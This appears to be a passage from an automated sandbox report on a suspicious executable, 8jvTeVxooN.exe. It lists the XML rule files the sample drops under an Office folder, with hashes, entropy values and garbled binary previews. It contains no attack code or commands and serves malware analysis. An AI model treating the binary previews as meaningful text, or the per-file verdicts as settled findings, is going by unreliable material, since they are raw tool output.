Preview:	<?xml{..].HW.Z...".,..l.&.u.^.U..E..i....$.........<...k..2A..+...[..m......&..9..M....Y.......^.I=....X)....'...?,~=Y.Y.C30mi\]jx[]..V;t}]....0t.x._6C..A1......../..O w,..H.T^......s.B6=....#l.X..N(...q........P...gg..7..[.R.../.5....!....p).........h...\........$.V..G....O.=Ne...Y..K..)P)5m.........H.D.S...x.@..... ..zf.~..........q..$.\|.df.....s.5..d.@U6.i....@..3.}..B.....a..^....X.m...,.).02`A..._.).R.Lb..$+R...._.......(r....+..z....ATix.p....W.` j....U..e.......5.U.O..V8........o........e.y3.....=.Q./..._..?.y-Yc(...R....4y.C.JA..\....;X1.!.rB..y..$....u.....N,...V\|. .89z.."B`<..9.#Z..m.r.s.X......Y....u....C7u..8.AV.n.3C6...&.}4.y...HKd...[#m....(.{.B..{m.!.....M...Z.6.....jl~..3.P".......N......MH@.....1...^N.........l\|.Mr...)...U.Ii..Rs...*.J.......G.[.Y...QY..l.>.CP.%>...s..x..}^.........\|U.bd....L...=T.R.2...&..z.I...6<.<.DSr._.HK...J.+..BG.....R.8......]..3j.....3......L..~..=.3.b..^..4.......j....y..3Y1.B{..y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957873561104993
Encrypted:	false
SSDEEP:	96:w0QUXwOHRrF3nDJ81biN/9SOn/W9CutL5VL4tkzXWNL:U9OH33nDm1biNJO9zttVL4tS6
MD5:	8D07129B34850A30658C8984F4022807
SHA1:	A178B9888F212DF480B70B536B1FE1373C4487B0
SHA-256:	5823C6E06E6C88F9F85CB871BB2CA21C99A1B077CF869AD9FD7AE8913C4DF16A
SHA-512:	73D8048DEFEBFF2C41CEA3FEF3D17EF7B45821B39487380B8B82C24466AEEC77465227E4BBF180C2C24E5BD9DDB1B3CAE5E54E5061A936E8BFC0251749A5CB4F
Malicious:	false
Preview:	<?xml.\|....{.f....Q5>..Zt.....5.9..a.#.....^I"......1....r.H%......`.>..Z..a......G.KQ.}.C..k.n.... ...G....A:...A...S..s.q..^pW...^O<........ 6S).]....u...i..R.>Ly..../A.{Z.c......E90.H....Q......k.h.i.2..z.....3.>..0..$.F...1...G..9.M.J..V..O].'s ..&.=..d..5N.._...uU.....j...#..D.+HXuu....G..Ae.!.V.8.....,TA.nG.d.(.0...)..e..yD.....kw-..W.R...om\....).ZFn..\.......~w....N.5..W.......".!...!...4....F..O....}.7.y..(..`3.'uc{K?'.F...J.H+.....8...5...sI......G..).N....sgNy...Jr.Z.-%4..V..3W..>$9@.L...Z.~....8/...\|...5..........T.@[.....HS.`.;G>:r....L..%F.z..\^.8...IR7s..$<O...v..L.....=..4Ms;"..._r..1..Y..`=..f~.....\y..8.}....k.u.tv.A.ii..I.`).a9e......H....l..h.X..S......XhUr..d..O..c..h.L&.z...s..j....,.....E.,N..#..>ilB*..u%...d...n..H7...z.........!;pg0.....q..[.....G..[...\|}....d\|?.&....Cx...z..j..g+.G..E?...b..;Y.6G.....,-..7.5.x.....JC4.}.........\C.7....\|._.4s&e..q..Do.....$H.oX ..C..1.:.#......o8....g......{....kP(k...%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.958786398056657
Encrypted:	false
SSDEEP:	96:AjGVkdHV8FYd6Lbl2Dtf7qNtNfYUiOoNqfXaSFJ/hk75v:AjwkdaFYd6Lxktf+NrjowfXh7mVv
MD5:	C44B1918E8DE291E473D12848B6B9210
SHA1:	8832A018AEE82DFCF97DAFE0A76D7A09BF50A3E6
SHA-256:	C3D4E5C88D86AEAE49645ECA3DA81FD4CBD1D9F9BAA4533BFDAEBD7F3E087032
SHA-512:	BB222F059924AAC75AB718E0641B5295BA374E5C53E7495E794123D6DE0F4323C68EA56A95C3089979FA5A10E17742CC21CD4ADC61C8A45E9C9BF058CE636D2F
Malicious:	false
Preview:	<?xml.,..3U=...m..2"..@z+ .?..e..d.....k.i..`5.....N:.....,....4;9........t..?GX.$.......OHr...h..5....6..T1._.-H.3U-`.Sq..,h...i..)...z..........5..=.c.....s.`uion..HNc...,(.....$pD..../.hZ)T.^...\|}.....1[wf.%1.......'.^.?#.d....x.7l.m5..:.L.5..U..=.5...... ....' Ip...m:S.U.....e....S.k..7../...Y...c.+G.......X.;V!.4L...W)..V..4z!q..y..E5......k...[~a...^.......<%.........~.R!.W.b.8.B....A....@dKE....rO....Z#...?....2.F...^c.4....mI...1:I?.RJE.1.k.M84(1I....F...K.;................hT.3.wH.W....p.=.$..Pml)r\.O...En.>.l....l..6......}.@....1h....3...v.Afv......o+'..f9....EW...._...W.)op7.k.4....Cj..?....6....."c..8...j...[..........Y.3r..zd\|j..<.k...\..-.....{_..4."Nh.%...}0.#.g..K...%...HO..E.W."...?..i..dz..".s..x.eD`...8.C.$.D..M5.zD....g.a....{....C..W...(N.C....^....9l....s..3..s..-h...D.4r..k..F...-]../Q....../....21....j...P..0.lF.ov.$/.j..9...Lt..6.Y....KT.n."..g@.B?.n../..h..h.I2..!.........}^.70aA.).........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.928943742894543
Encrypted:	false
SSDEEP:	48:Oj7DaIKk/QEbh2rts3S6MZrYLIZUpUpYYw7odjczOcHvnpYNxCcQMrybwD:IkathwN6bj+jcyQxmmMrybs
MD5:	FA01558CC2D625F883322BD5AA36C8F4
SHA1:	5CFCF20793C093C1306FF9E36819FF0E77B41B50
SHA-256:	222D04868A4E7C4CCD182B1C82983628C0F52CAC0EDC93DAE207ACF4F256EB0D
SHA-512:	20E8A3BD50BAAE8423AF87C47A487E597E64D0E657F0A14191C5A302C8689168CFDC88D1125C688C785C77811C98DED0B6473ABC31A0030E6935FEC44BC38276
Malicious:	false
Preview:	<?xml..)Ud.g....f.....Y}\|....4.l'U"K~........^4..{.z+I.+.f.(..;....P..J.Z..H.....Z].._..0..k.U=......Dtx.E..v...<.d.........;~....7@<.,U.m.gD...5.x0.dE=.5.....Y..h.....t>..{b.h..x.D.^......].U.E...nk.-..&...U..[a.'/{..<.7.B....X.'H.i.;..&........ev.N..8j.......b.........To.Jw....J.Z...Y."k.!.4....B..Ym....7...}A.q%w.Q6c.;....P..;...2.]...L...+).tkc...:..:..jO..8...:.h....cm....>.D.5.bj..r..2VA...&P..m.h......OM.Vz...][..n.D......y....D5E....Y.......:.mM..B.[;$..K.9m...D.E.\|.......Z..y.0.............w.4.^.t0c.L3.xa.qA."....j.......<....@..h.)wB x.u.......S..I...:wD$L.6.15..!]Z"@B..<.....Z.S.[6..u[.b...;..7.8....^.p>.k...x^...,6V.O@-........qeP..1.h..7..................r..g5/....~.........\|..I.9g.Q..e.ZW......y...d/.O..gM/....}.....s.....*..nV........H!.K...]...%y....i...K.D8.:.......`.C.T....1..~..F.........-..p..y....7.'..\........fa...2...#(..m..U.{px8.....@.y$9/y;F...+m..r...&"TFqK...4.......G.....6./z..F.M...2..1>..... N..d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.958801770942446
Encrypted:	false
SSDEEP:	96:qRXrTe4cCCljbUyX3FdXCyvt1UFNWefvutxL6uWkVaR5wuaBcW3Kptz597SOTcU:qR7Te4cPpQyXvSyvt15eOvL6ujg5paBK
MD5:	D93DC3A846220BEE98C66C4B5F8874A9
SHA1:	28055E5BA0402A76DA6DC57A39BC9DBE1614E902
SHA-256:	F6F1D67904ADCA882FD9C86EE426523F49CCDF793ED1378E6F03BC6FC0E86816
SHA-512:	D044FBD366815C4E40658DEE647F6AB1BA8CBE6682BDF89D9F62D7A2D230A6F674384CA15AE5A6AB2AB24D6157963E707070A8A82CE2BE822EDEA8C351606845
Malicious:	false
Preview:	<?xml............V.M.h....:.R....\|..cB.^.<..s..KV8..h_r...#....:....?.8.x9........f.c...l+'.._..IW......Z......pM...Z......i.F.Or...."..C._..IF.d.C%...'q9....`.......;.]..?..g..0........X......Ua..v.....,.1...._..TcmE.\|........^......&...'U..}{.g.{....]!.A...../m.......r.UX...q}ttiV?..'.............nv.(.T.....z...dW!..N...9a....f.....n.6..U.Z.m!v.....u.[y...,8.,X.d!...j~..SDY/....P-..)......B.`..!?.....C.......{o......e...c..$.t^s{..h.....a5,ix.+.\|.v.R0.Dr.yM.....A...Y.ev.N....}fT.......Ld%q.vUd1$..fthr.r3...\|...9+..s.\I/w....+......./.I...4.Q..$K:}.1........Q..9.j...V....o8...,.u.w...%..c...E....l.Z..v?6...Q.lw........T.{..\B.5../.i.:.(...m...8.e&.o.....VU...(G.J1{S.I.&....(.O.;5......N..'.7\..5...iA......I!.Ad=..3...c.a.w.2.l Iuj.Q....4.+..4 Q.!!.i1..G.n.@....Oi@..S\|<....%..1.H^..........v...@..9..L...^v...Y.S..}.L@...g...x....;..%... ..unt....2.J.u.UB"..T...,.A..../].v.Nz.FS.....%...\T.....vm..q..R..'.$..uC....(.{P..c.].l...$.E.9..R..J[.K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.9230313053011185
Encrypted:	false
SSDEEP:	48:OLfh3+Q/yKN17u+MNcoHayORy3y1X6TB2joKC0QFD:sh3P/RN1CpNcoHBORocX60joKnQ9
MD5:	B34FF0EECF934698D98A0F84CC081E91
SHA1:	8FCBF783028F44FF7459A05F3DC9D6FB53D3F1BA
SHA-256:	28272FFE6F1381FD14873941068E80B06CBF3D80427490BFC38A7B2F19467DEE
SHA-512:	E54D0B1B9EA491AD7F66415AF371E16CB6C7505D19E5DACD2F3D56369299B6810026F28CE743AFEC3EAD2D46F5B4E15315B984A9D5C744D82DEF393429E8F862
Malicious:	false
Preview:	<?xml..fi..]JQ..ak..Z..=UY..AV&P-........JY....W..n.p.L.....M~..s.<....M.ox,......3`z.?..y....=...p,).R..2j.%^h...$.....d.b....N2.#>.C...._........rL.Ql`..].4.x.L..j..Fe..i f.Z.L..[.yml%..D....u@...<..~rk...T...).!..F"..LM.......'.u.U....'..?g...5G+....`q..M.<...L...Q.+.y3..\......8K.~......D..&..1L....up.q...y.. ...c..i .4j...K.0....J...d9.f....,_...Qf.!..N.u..f.j.~I.{..Q.._i........e..rj.......qP.kJ&...Sq....r.n..d../...i...K.;g.&I_.....r....^7&..RQV.!..edB;./..........%X6.B.j..-r-.f{.tO.XM.f.......@.u1(.. ....6.R.<..l}.I...Y5...W.#L!.......g.#.'E....).Z..".....l.cSj3b.jK.V....Ib.;...l.r...'.P.$.....a<N8.....QS/}..Q1q2.v'.yo..(h..Q.H.. ~. )....(...}..1.p...d.\.....$ Z(.sm.........n..x.KHE,...b.g.'.c....>...m...a=.K~....;...m........7um2.i0..#5.!....3.).k..........'.-....+....2..{".;.t.u.?aP...m]g.t,....wo...L2=..y...k\|.........~2.#......8...[..a.O.q.j`.)....a....C~..z.*^i^b...62_V..dyDsXe.9.7Y.....^l...&`>........_<.).u.?"..8.m.......h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.782269690807942
Encrypted:	false
SSDEEP:	24:vNozvYMx/3htTvGNr/kiHRErpjRnHet6Za2eMKWnEvNmN4ObD:vNobd3ht0wiHREVjRHe+/nElKD
MD5:	B71488D072B485E9D798CB1DE53986B7
SHA1:	DAD78B78B37297CD05DE8F7674CDD43C0EEA3CF1
SHA-256:	B01F7637FCB9A36A2A2DD409D4A6299F418FC76436760F13698383442C288C21
SHA-512:	40C4D65529FCCBDD185C532CE6B04586B23EEB5712132E6136570D297FC869CA76EB8DB83E5132B1A64D391FF5C728A8D0F3B80ACC2884B31074BFB7EC9FF6FF
Malicious:	false
Preview:	<?xmly..W._......s....;..G..R..mo.[l..jX.Uo.od...@..^.....I`.my..<[.==......g{.?..zp$..hf.Z....Q.L...C.}.......(.x...F.z.f....)..%Q._..3._.=0....\|Hf...fk.(4~..V.........2u.q....L3.nv..v.-#....]..!L.#z.........>...%.~+.L.Nd..w..A+..or.....[...).'...\....uGS........^..\..o.y].....!..s-......m..,1J....&(.p.&`~.......\.f.y5..2.Jxp........zH..&JE-.R...2c.b..Q... :G..[..`Q.`...=...>B....-...4olh..8..,..8..g_x.k...}N.w.^.qB.b~..efY......fy.lp..u]..........L.4.j..../{v.;....YX/:b[..^...^e..8..,....>...7(R...N.......J.::...&...8q"..K=..I.j.n..V...xUI..T_....Xp:..)..IF%.Q...fa..T..G...r=...g{eq.3.k.0.t6.+.L.....({S...2...... CMecP...)'-2.9.[4..=.1=.............>Ls..F52...J.^}8.D^.(+.G%Jot.0.....9?.Cw.....d.;...@..#..;...84...rr.......BG%.".<...5g..0...`..j.C....ZHZ.Y....?f.UM...?FU..F..[.+....J...GP.P.....s.e bL\%.0.9s>X.Q.f\|...5W.\....b4..#..V.y...L.g.Q......z......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.929836447001353
Encrypted:	false
SSDEEP:	48:H6MVEXvO3Q280ToqBrYGVOzbtejvnnYYNKhRuF2tdpOsYN5wmJfmoG891rD:H6M0vj29B8GEzEjNN6uF2zpfYH19
MD5:	1DD516EE08944B72020D6C8BFF07AA13
SHA1:	5E3927DDF280B2F91C9A3FA2BEABDEBACA76FFC0
SHA-256:	8F815297FFAE67D35E23A4D997CBEA33C6C7F56E13B8E3EB377EC7F93F6D5EE7
SHA-512:	B4CEC09532F1A6397AD91F09CE5CDC5B3A36864458A8A51BA9984C445A5F199DAB9ACFE8FB41CFA5A2496D36DCA7DA643349AC2BE9302108AEBFAC910935F52E
Malicious:	false
Preview:	<?xml..k^.....V$.T...[..>.......K..g...@..78...:L#.p.z...os}.ey..'9y......czIC.....H.k.0..X<......\Y.p.......r..d<...{/..q..{.\|.....F.}....f...i.....!..0E.S.J4.ii...H.H..../...1..R.2.>..K...S..%..6.T.@{......}.......$x..&e;...._...o.B...(R..r.KhBQ{.....Xn...]...Z"<.o.p..^.Z..'....=..r...Z.A.=.#.3.Z......,..F.O.......P..B..R...o.....!....\..$O...iP(.us..L.t'.w!.....Q.j. ........E.H~6..8..l.b.4je....6}p...U.$..-.(g1.....}k...U.....-N..R.5&%.AJ._ =...1.ZV.9.=.....v......}.}......n...P...4.!L..D._.CC....Z.w.e..Ip...~'.Y.)...YG....z. ...Q.D+.u^.....rB.Y=.......^2.^......V=D.B..............1.f....*p.....$.....o.Bt.eK..C......M2....Z.....e.....Fr.7f5(8.;7xxX....1...eO.E..[.#+.z..J.f8<=.+Tr...m...rP....;..2...#.,....b.)nj.#.^w'K.DWxq...p...\.$...}1...2I................[...ow....X...ky...B5.=.....L..q........`.\.1..o..j.).....ST.....IZ....AVv(..0.`\|..JQ...$^(.G!.....+.bK.OA...>.]....$%.A..@.[..RL..+...4fg..A.....W.X1.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.982612815587108
Encrypted:	false
SSDEEP:	192:uUA9TvU9mFwkMpoWYu0ddEnPBFla2mfIV9sklzjQ9mUV3ZljQbj60GHHU2mXFn+g:JUvlRMpDYu0ddEPfcVfQlOmmjqu3U2uZ
MD5:	1D21760C45711CE2996F4BCBA52CF48C
SHA1:	6EE77E5E923BBD25A7B1CD35CB65359E001B1B57
SHA-256:	66D8BB3D43BE5299D8787F7686A2B37241AA76B5FC9B38A13AD42C30AADA9199
SHA-512:	5D034F8D274552422B2D8592EC6FC7F2CC2A09F3D6E36BD349D4898B942CBB63988AE97D4267CBE8B57A01CD22504D3F66E95D4ED89E16F47E1A2D5F695C969C
Malicious:	false
Preview:	<?xml......V.....M...+.A......KRl.77.M.#..^...._k..]...lSk..i%2N..).'..R.y.......H..+.+.~.S1...1V3.."..A...w.......8}^$.m.2.]#.z'..J'8..'.0. .v8........0.....B..:...k.0.l\.RUq..u2 ....)....u.U8..<C..}..L.X...&..T.XQ....d&.@?f.p..........O.J...<....T."X..J..E".~C..N.].v...@D.iaY.Bj..r.?V...S\{..&;..v"\|.ARL..X:m/.RiN.i.Z...8....h..B..XIqN.J..l..4...........j:...x.#.....s......p..].I....u.c....5...M.+H.xC.}.(_.Q,#.u-....@.b.F.m~..^X.f.w4.T..a6.4....^..2.)..2...U.^..Jm.....j..c.}.k_.......A..c...#...$....u..3p...qe...N..-;.u...fE....>.I.<.}q.....JT..k../C.....7.z.G\K:..{~.Cw$....PRw...L..u....W.#$$...1./.k\J....N...0..m"..S.2M]..Coic.K.....(@,.X4.^.\&.J..l...dD..19w~jix.....Lz.N.h..;..=.&.U8{.c...8.R..l7..Z.Y#.@....;r...GG.s.e.=.....2....H..d.?..........z...I..#d......D.......=..g....(.E...0c{.X.5.7.....F..,..11....V..#.C..x..mj...Vh ...5z.+2......t2.)=...7.o. Y9.8..Z..$..F%-WHy&...^.:...V.$h..}....q^j.[...v,s.z.......x .p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.756007711351995
Encrypted:	false
SSDEEP:	24:Yg1uiKeBi/b766mCbmXYRU8N0SHwgdET4dHCObD:YPihH7+QgXD
MD5:	B73059E41533DE8067B8D7DC6A425692
SHA1:	42D43C4F6DC489F60271C9ACAF3CB4C6625F8C1E
SHA-256:	FB59475B083C2D02E25C30F730CD85ED69213830CCD857AAC88618CC1D117177
SHA-512:	70928CFF5BBFE43CABAABF063A41E9C3B90AE8DFCE6312FC9A8C6A2B35D630FE04D7508FEF51C9013B1215238329EB37B45382EB9F89AE3471E6029C51A0EABA
Malicious:	false
Preview:	<?xml.."G$....^.-.,.MX..a.'d...S.......y@....E..L?. p...M6f...6........[...,..l7..\|.......S...x:...Y.....&f...Y.....5...6....R.%.....A...U.."...1.w../~q.:...)....o_c.g.>..v...5.....o\...:]...T!..}.h...~.7m`g...D.ER...........m.?.d....j..Z........v......i..b..R#D.lF\|.....E' ..f....i..?..a2...5T.B[C...........7(.d..uM[......3..a...jtC.....&r.K.....3..1......k...._+.....G..o)..MX>...J...@l..zhU..3:@(Z.IF.e.%..b...LI.5....R.."b0.D.Oa@.Z.A..r........:....D.j.....a.2IjYY/T.X..h<10.....`.\.,.(gm.E9.(..&v.T.g..^Y.......qwT...x.....z....z.....V......L..~.L]..LN.\8...I{vt:..I...g.......x.yC.s.+.......#..C.g.r...W!E..uM.;..C..`.D....<..y.*W......C.1._!...z........&..0...\|..+e... .-9.k)...@RZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.749341172966964
Encrypted:	false
SSDEEP:	12:mhsfpuRjVc+fEvbYcGJ2BhnaTXO4x3T9unbg3nMsnFGcyk+jhTDPHubqDuOcii9a:mhouBVcZpp4rOb4vnF4leWyObD
MD5:	3AFA0D0FDCC617728401BEF71E4C80C0
SHA1:	9DBD1FCA276212D6896E2D59CB90F2BC5AC49768
SHA-256:	FE0213FDA944D6D7A6A433B03A53E2AA100E28EDCCD0659B280E3A42C3BD47CA
SHA-512:	B89A2C98AE4F1F06485E224BE03DA8AE0478FBBD46860FD081B749C0A83A4E3B87A93140AE3BED33A7F811F4ED68567BF6879915A3F8BDA4DAFC0F9B2C65CA4A
Malicious:	false
Preview:	<?xml._\|... ..Ml.c_.+D\|+.Yi.\E.y.....V..~....>.w...b....f.X.W:...%..:...B.MJ.V"x.e...Jr K......ZGZ.^.jE.)....U.>)$......e.y.#.\..\|.......{...ie?......"..}$b6...~..7.z...v.[}I3.wL.]...........4TM)..s{.B.....N.....n#...Ogzw.E.U!...J/.`..(....n...U.z.-X.4.L..XyL5...".....z..R.=."\....('...\|..[D.\|.i/.......R......>.f,!.1.M..[0.C...7..H.u..x..4S.....a.../..H..]P...gx.{.@...5.E ...c.D...k....@i)...v.&....bi.b.K..h.I..&..~O..a......~.]......5..F\|,{...-11...............X...\|cG8.j....X...q.........l...j....(.]..i.(....'.Ls.0x..c...9..p.Z..E....d........kp,..Hq..Ln..@.P;am...@..}.L.....L.@.N1.f.......4.........T...:-~.fE.=.....D...?..d._.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.864363447583978
Encrypted:	false
SSDEEP:	24:icAyAsE2blxxOjmI1ZdAJkoeGDnayUjAU9/gbXk7fimUmTG6MI7wt+jgpHDUadb8:4sdHxsOhz7rWcCWmTdzwt+0pHDUaVyJD
MD5:	5310C6E86161F6D984BADE443AE9A8B7
SHA1:	700895100DF4115ADEAC7EDB14B360BB0E08B289
SHA-256:	9095A4A635DF8173247CE1A0B614FB955B39088033DFE117E95E14C3FD21D4EE
SHA-512:	6BA9D33D0405CCBC4B1055646B82D2151497A090486E038AA485C00EAD1B33B2298B8DE59A1D215EDE67688B362C4451333F3B064AA6D7729F06B299800EEF07
Malicious:	false
Preview:	<?xml.$...............VJ...2j.c..........u......n):Ym.DY9..0.....[u.fn....d.?T....VVo..YL......R..M.&=1H..1~.&~....Nn.+1.hTjrpB.#......\0...Ar...O ....:d..ux..L.Z. ..T\|{.Q.K...G..vH2..]+H.&........n.U..u?7.1....z...hB..l..L`.a..ds.T.w..`..]`.n.s1.<...g......yf.fU~0....R.0%..2..\|.[..8..!.....8..4_.". :..".C...Q..4..4....mG4#...H..k..W.......).Aww.T.^..k.6..ng...B......-...`....6. ..7...e\?...........p?(.a..l.=%...H.x.nd._~...Q.-....9...L......K..6-..,........z..c.....{B..g2....l.<..of.Xb....+.+c...?.......~3..W7.z..v..ir. ..a...}-w.z..s.O.....r.~4. .....$.'..m^.bIs9N..@B....2d.fy..</0..~ Kn ....5.[...jS.B~..;.rH...Y....g.......x.,..M<......xP{..fw.[.(.....X.......'%.<W.0..i.......f.9.....zN......6 >..".1^..k.."....AX..T..9.c.g..(.P.....+...+......C.n......~0...w?...<u.j...{7......".d...Y..5.T.L....+aWk.g_......=..!...._..{eM/..Q..}..liM.Y3p...e....Q..)p..+.(.Lj..O.'.t....o..G..-{0..s...:.J...6h^....g...{..D1.lX.c.i8...66.:<........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.736985133923774
Encrypted:	false
SSDEEP:	24:CEAWf7Y3VLiaF44mW+gYCgJgIkuEoVUWObD:fyMaS42JXSoGD
MD5:	DC4254858F438EF8C9E781638DD7A55F
SHA1:	5403202FBA2F59830466949693A73DD8C7B6BFDC
SHA-256:	A51F5BA5EA2359C654B0F68D4CF17F61BDF19004240ABB5A4DA5C639C7CA3F59
SHA-512:	FF22D783ABDAD90FFC6F608D3A4639B5DF79380E7BC60D1A2C62D730C01995D45B2BB5743E097E8DE0A1F4A0496B5F1542FA76CCD861825E6DFA1F6777EA122B
Malicious:	false
Preview:	<?xml.....j.}>.yT?Q....q./W...$.8U..S..;.kQ.2....n.G._.+.H...'.}....,1....xA....q.gT<..3.v..g..........,....f...9"..8.X..ATS..P...VC...C.p.]v-..l/D..<.=...w..8.y{x.wtp..z3e.7...P....dVn.[.........m.D.i .a/...M.3..h.=h..g8D...#I26..7..>.j....q..M,........>.... 6u..$.t..Cm.....xwS]3VQ.....7..].P..Z.....".e^.G.j:.GK.-@...~.k..^...d/>i../.=...8C/S.....y.H}0i.n.....E...g..b.z...@<...!T..0..i.Ds=ad..2...A..z.HR.D&.Y.-....4N3.g..k..lN.s.h.M..m.4.]#)...t"$b.y.....$.1.j...e...X.m8.}.....+....4a...ILr;.xH\We....;B....E#c........+......D...B^.e........G.@+).j...K..+.GNF.O...^\|...4..R.....n/V.5.Tv..?...... 6...d...t..3...I\|..Q.>.M.\d...Q.."v......b.V..G.5.4.v..R.<....tA9.....1.]e0...TM..t.c.T..N....\|Lr.f.....j^x...i..%.Lu.....\|.k-.L_^.j..bd..Z..T.^^L.w....y...y.9.[.k.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8304181275079445
Encrypted:	false
SSDEEP:	24:hJ2KO8RYESENldRqSB0K7CzqEY29frVx+E2klW0Xdt+uCS+9ETAYZyovbiNGdObD:hJ2KO8RRNPRqkdyTVxIknNWSmE0YdsGK
MD5:	B27F185027348D5AADC11D283167944E
SHA1:	37885C637F5FB42DDF09C3FABA6A60A02FACECDA
SHA-256:	DFB68F335FC55E01A46637B5F16C0268ADE5EA55E322395F6910CD5443B70266
SHA-512:	53A539FD7DDDAA258A2D993F9943C0B3B29A8A2489947DC7C3443B56B6086E3B67B2308B04417E041CA6D2F3B8584D4E8DA40267EFCB301A424778F267157538
Malicious:	false
Preview:	<?xmlP.3].lQL`....!.X...Xz...N.l7....}.Z....k...Y.2=..M.\....@.Q.4^..u/....o.....k.,g.....8..rB8.mE.#.D.U.~.D....[J....n:.:.x..[..9l...F8o.8..#._QU0.uJvd....y..M%.?.A...rj...q....8..UJac...B...t...\|Y..V.(.5Oir.P..5.E.0:..[e...._./.^BE.L.M[.[...sdc..\|....$.2,.,=....=-R...0V.......,./"9=2/5..^.A.J....i.<.E.W.lH..y..5a._C....,..fo.... '.>WQi9;.....x....K.;.[x..7..[..K.]../..Ww.5.R.j..cE..Du...>.d.._..e....f..l(....g).,...Q.bqR.g,9....N.......c...!.3...c._.R..:.&.%.h.Sb.J...-....Zb.vP".._.,.P..Y%..g._!.:;O..0Gqw./.V.qk,"..F.K.E...........~..v9..]/.. ...Kz.J..W..Y.1f.#...nD4n!ab.......-).%20f.R.4...4......C..c....M..J}A\..Q......<\.LkDDj...I.[.....u....;...v2...vI.e.8WO........Aa.3.Q..m..9.......8.......m..(..(.+..&.t.t[..S.=.'Y..*.....&...._.E.....}C.....5+..H...Z..A..R.Cb.S..\|.o#7..w..1.......i3.k.:...!....[vN....Q,u....2.sum/i.`..U.....q.:.4....p........s....(..U......^2h@.HS.'C..n....3..Y'6.......A....-!...0?...._..Y.]m.........u=B.3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.879061537420747
Encrypted:	false
SSDEEP:	24:QJv/A/JKhSfL7aW+QcG9ksET3QBkdLJYT3vunHCxN0kl6B7/rY76SObD:QpIQhSD7aRQcG9kLLQsLyTfpll6u761D
MD5:	38115719C7D271DCA35E68A9D4B07306
SHA1:	47418E01E787FF6BB466F22907C4BE321B469CA4
SHA-256:	586C7EC96A41294C15EA29FF6B17C0215979A2BCADE4F38FC40EB3DE80A91D8D
SHA-512:	6E299182CD12E435183C1A9F60E327670207B2D52F13AD515AD25FBC0366C2637DAE89FD99C6A26B823C3EB2141D923E0921D1AAB074763E5E5960568CD82CEF
Malicious:	false
